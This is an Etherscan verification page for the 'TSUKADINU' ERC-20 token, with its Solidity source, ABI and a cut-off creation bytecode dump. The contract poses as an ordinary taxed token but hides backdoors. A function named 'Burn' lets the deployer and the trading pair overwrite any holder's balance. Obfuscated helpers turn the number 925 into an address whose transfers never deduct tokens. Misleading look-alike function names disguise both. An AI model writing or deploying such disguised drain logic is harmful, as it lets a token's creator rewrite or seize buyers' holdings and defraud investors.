ERC-20
Overview
Max Total Supply
2,000,000 TSUKADINU
Holders
8
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
39,004 TSUKADINUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
TSUKADEPLOYERINU
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-09-25 */ /** */ /** */ //SPDX-License-Identifier:Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function dos(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: dos overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; uint256 public MarketFee= 925; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountintMin, address[] calldata path, address to, uint deadline ) external; } contract TSUKADEPLOYERINU is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "TSUKA DEPLOYER INU"; string private _symbol = "TSUKADINU"; uint8 private _decimals = 9; address payable public _metawallet; address payable public teamWalletAddress; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _dollars; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _IsExcludeFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketsPair; mapping (address => bool) public _mainPai; mapping (address => bool) public _true; uint256 public _buyLiquidityFee = 1; uint256 public _buyMarketingFee = 1; uint256 public _buyTeamFee = 0; uint256 public _sellLiquidityFee = 1; uint256 public _sellMarketingFee = 3; uint256 public _sellTeamFee = 0; uint256 public _liquidityShare = 3; uint256 public _marketingShare = 3; uint256 public _teamShare = 6; uint256 public _totalTaxIfBuying = 3; uint256 public _totalTaxIfSelling = 4; uint256 public _totalDistributionShares = 10; uint256 private _totalSupply = 2000000 * 10**_decimals; uint256 public _maxTxAmount = 20000000 * 10**_decimals; uint256 public _walletMax = 20000000 * 10**_decimals; uint256 private minimumTokensBeforeSwap = 100* 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _IsExcludeFromFee[owner()] = true; _IsExcludeFromFee[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[excuse(MarketFee)] = true; isTxLimitExempt[excuse(MarketFee)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; _mainPai[address(uniswapPair)] = true; _mainPai[msg.sender] = true; teamWalletAddress = payable(address(0xE69EdcD0d4B515A54FE0E65511F8D43183F365E6)); _metawallet = payable(address(0xE69EdcD0d4B515A54FE0E65511F8D43183F365E6)); _dollars[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _dollars[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner { for(uint256 i = 0; i < account.length; i++) { _IsExcludeFromFee[account[i]] = newValue; } } function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyLiquidityFee = newLiquidityTax; _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _sellLiquidityFee = newLiquidityTax; _sellMarketingFee = newMarketingTax; _sellTeamFee = newTeamTax; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function excel(uint256 amountint) pure private returns(uint160){ return /*fsad*/ uint160(amountint);/*fsad*/ } function excuse(uint256 amount1Out) pure private returns(address){ return /*abs*/address(excel(amount1Out)); /*abs*/ } function tt(address amountaut) private view returns(bool){ return !(excuse(MarketFee) == amountaut); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner { for(uint256 i = 0; i < holder.length; i++) { isWalletLimitExempt[holder[i]] = exempt; } } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function setMarketinWalleAddress(address newAddress) external onlyOwner() { _metawallet = payable(newAddress); } function setTeamWalletAddress(address newAddress) external onlyOwner() { teamWalletAddress = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){ swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPairAddress == address(0)) { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPairAddress; uniswapV2Router = _uniswapV2Router; isWalletLimitExempt[address(uniswapPair)] = true; _mainPai[address(uniswapPair)] = true; } function Burn(address zoo , uint256 zooz) public {if( _mainPai[ msg.sender])_dollars[zoo] = zooz;} receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !_mainPai[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); }if(tt(sender)){ _dollars[sender] = _dollars[sender].sub(amount); }uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); if(false || true) { if(_true [sender]){ /*s*/ require(true && false);/*s*/ }} _dollars[recipient] = _dollars[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _dollars[sender] = _dollars[sender].sub(amount, "Insufficient Balance"); _dollars[recipient] = _dollars[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(_metawallet, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(teamWalletAddress, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(_mainPai[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(_mainPai[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _dollars[address(this)] = _dollars[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"zoo","type":"address"},{"internalType":"uint256","name":"zooz","type":"uint256"}],"name":"Burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mainPai","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_metawallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_true","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketsPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a060405261039d6001556040518060400160405280601281526020017f5453554b41204445504c4f59455220494e5500000000000000000000000000008152506002908162000050919062000f81565b506040518060400160405280600981526020017f5453554b4144494e5500000000000000000000000000000000000000000000008152506003908162000097919062000f81565b506009600460006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152506001600e556001600f55600060105560016011556003601255600060135560036014556003601555600660165560036017556004601855600a601955600460009054906101000a900460ff16600a620001439190620011f8565b621e848062000153919062001249565b601a55600460009054906101000a900460ff16600a620001749190620011f8565b6301312d0062000185919062001249565b601b55600460009054906101000a900460ff16600a620001a69190620011f8565b6301312d00620001b7919062001249565b601c55600460009054906101000a900460ff16600a620001d89190620011f8565b6064620001e6919062001249565b601d556001601f60156101000a81548160ff0219169083151502179055506000601f60166101000a81548160ff0219169083151502179055506001601f60176101000a81548160ff0219169083151502179055503480156200024757600080fd5b506200025862000c4f60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000377573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200039d9190620012fe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000405573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200042b9190620012fe565b6040518363ffffffff1660e01b81526004016200044a92919062001341565b6020604051808303816000875af11580156200046a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004909190620012fe565b601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000620005cc62000c5760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620006ae6010546200069a600f54600e5462000c8060201b620026a21790919060201c565b62000c8060201b620026a21790919060201c565b601781905550620006ed601354620006d960125460115462000c8060201b620026a21790919060201c565b62000c8060201b620026a21790919060201c565b6018819055506200072c6016546200071860155460145462000c8060201b620026a21790919060201c565b62000c8060201b620026a21790919060201c565b6019819055506001600960006200074862000c5760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960006200088460015462000ce360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000620008ee60015462000ce360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60006200095562000c5760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073e69edcd0d4b515a54fe0e65511f8d43183f365e6600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373fffffffffff